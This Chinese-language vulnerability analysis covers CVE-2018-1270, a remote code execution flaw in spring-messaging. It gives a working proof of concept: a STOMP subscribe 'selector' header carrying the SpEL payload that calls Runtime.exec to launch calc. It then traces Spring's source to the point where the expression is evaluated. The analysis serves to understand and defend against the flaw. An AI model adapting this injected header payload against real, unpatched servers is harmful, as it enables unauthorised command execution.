spring-messaging Remote Code Execution 分析-【CVE-2018-1270】
https://pivotal.io/security/cve-2018-1270
漏洞影响版本:
利用官方示例 https://github.com/spring-guides/gs-messaging-stomp-websocket ,git clone后checkout到未更新版本:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
用IDEA打开gs-messaging-stomp-websocket目录下的complete项目,修改app.js中的第15行:
function connect(){ var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; var socket = new SockJS('/gs-guide-websocket'); stompClient = Stomp.over(socket); stompClient.connect({}, function (frame){ setConnected(true); console.log('Connected: ' + frame); stompClient.subscribe('/topic/greetings', function (greeting){ showGreeting(JSON.parse(greeting.body).content); },header); }); }
增加了一个header头部,其中指定了 selector
,其值即payload。
点击connect后建立起连接,在文本框中随意输入,点击Send,触发poc:
当在 http://localhost:8080/ 中点击Connect后,在app.js中,有如下代码,会建立起Websocket连接:
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; ... stompClient.subscribe('/topic/greetings', function (greeting){ showGreeting(JSON.parse(greeting.body).content); },header);
其中 header
中指定了 selector
,根据 Stomp Protocol Specification, Version 1.0 ,通过指定对应的selecttor,可以对订阅的信息进行过滤:
Stomp brokers may support the selector header which allows you to specify an SQL 92 selector on the message headers which acts as a filter for content based routing. You can also specify an id header which can then later on be used to UNSUBSCRIBE from the specific subscription as you may end up with overlapping subscriptions using selectors with the same destination. If an id header is supplied then Stomp brokers should append a subscription header to any MESSAGE commands which are sent to the client so that the client knows which subscription the message relates to. If using Wildcards and selectors this can help clients figure out what subscription caused the message to be created.
在 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java 第140行,对这个header参数进行了接受和处理:
protected void addSubscriptionInternal( String sessionId, String subsId, String destination, Message<?> message) { Expression expression = null; MessageHeaders headers = message.getHeaders(); String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers); if (selector != null) { try { expression = this.expressionParser.parseExpression(selector); this.selectorHeaderInUse = true; if (logger.isTraceEnabled()) { logger.trace("Subscription selector: [" + selector + "]"); } } catch (Throwable ex) { if (logger.isDebugEnabled()) { logger.debug("Failed to parse selector: " + selector, ex); } } } this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression); this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId); }
如图所示,此次连接对应的sessionId为 mrzfa005
,subsId为 sub-0
。
之后,在 http://localhost:8080/ 中输入任意字符串,点击send。spring进行了一系列处理后,开始向消息的订阅者分发消息,在 org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java:349 行:
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message){ MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message); ...
其中message保存了此次连接/会话的相关信息:
跟入 this.subscriptionRegistry.findSubscriptions
至 org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java:111 行:
public final MultiValueMap<String, String> findSubscriptions(Message<?> message){ .... return findSubscriptionsInternal(destination, message); }
message作为参数被传入 findSubscriptionsInternal
,在return处继续跟进至 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:184行
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message){ MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message); return filterSubscriptions(result, message); }
其中result变量值如下:
该变量即 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:201行的filterSubscriptions方法的 allMatches
变量,跟进至两层for循环
for (String sessionId : allMatches.keySet()) { for (String subId : allMatches.get(sessionId)) { SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId); if (info == null) { continue; } Subscription sub = info.getSubscription(subId); if (sub == null) { continue; } ... } }
通过两次 getSubscriptions
操作,此时取出了先前的配置信息,sub变量值如下:
接下去第 207 行将selector表达式取出:
Expression expression = sub.getSelectorExpression();
第217行:
try { if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) { result.add(sessionId, subId); } }
通过调用了 expression.getValue(context, Boolean.class)
,触发payload,执行了spel表达式,远程命令执行成功。